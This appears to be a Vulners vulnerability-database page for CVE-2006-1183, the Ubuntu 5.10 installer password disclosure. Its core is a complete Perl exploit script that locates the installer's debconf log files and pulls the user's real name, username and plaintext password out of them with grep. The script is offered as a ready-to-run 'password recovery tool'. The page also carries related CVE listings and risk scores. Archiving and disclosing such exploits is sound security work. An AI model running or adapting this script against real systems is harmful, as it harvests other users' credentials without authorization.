Lucene search
+L

Ubuntu 5.10 Installer - Password Disclosure

🗓️ 12 Mar 2006 00:00:00Reported by Kristian HermansenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Ubuntu 5.10 Installer Password Disclosure Ubuntu Breezy stores installation password in plain tex

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2006-1183
13 Mar 200611:00
cve
cvelist
Cvelist
CVE-2006-1183
13 Mar 200611:00
cvelist
debiancve
Debian CVE
CVE-2006-1183
13 Mar 200611:00
debiancve
euvd
EUVD
EUVD-2006-1187
7 Oct 202500:30
euvd
nvd
NVD
CVE-2006-1183
13 Mar 200612:18
nvd
prion
Prion
Code injection
13 Mar 200612:18
prion
ubuntucve
UbuntuCve
CVE-2006-1183
13 Mar 200612:18
ubuntucve
nessus
Tenable Nessus
Ubuntu 5.10 : Ubuntu 5.10 installer vulnerability (USN-262-1)
13 Mar 200600:00
nessus
#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{
  print "Yes\nNow checking if readable...";
  if ( -r $file1 )
  {
    getinfo($file1);
  }
  else
  {
    if ( -r $file2 ) {
      getinfo($file2);
    }
    else {
      print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
      exit(-2);
    }
  }
}
else
{
  print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
  exit(-1);
}

sub getinfo {
  my $fn = shift;
  print "Yes\nHere come the details...\n\n";
  my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
  my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
  my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
  chomp($realname);
  chomp($user);
  chomp($pass);
  print "Real Name: $realname\n";
  print "Username: $user\n";
  print "Password: $pass\n";
}

# milw0rm.com [2006-03-12]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Mar 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.03223
33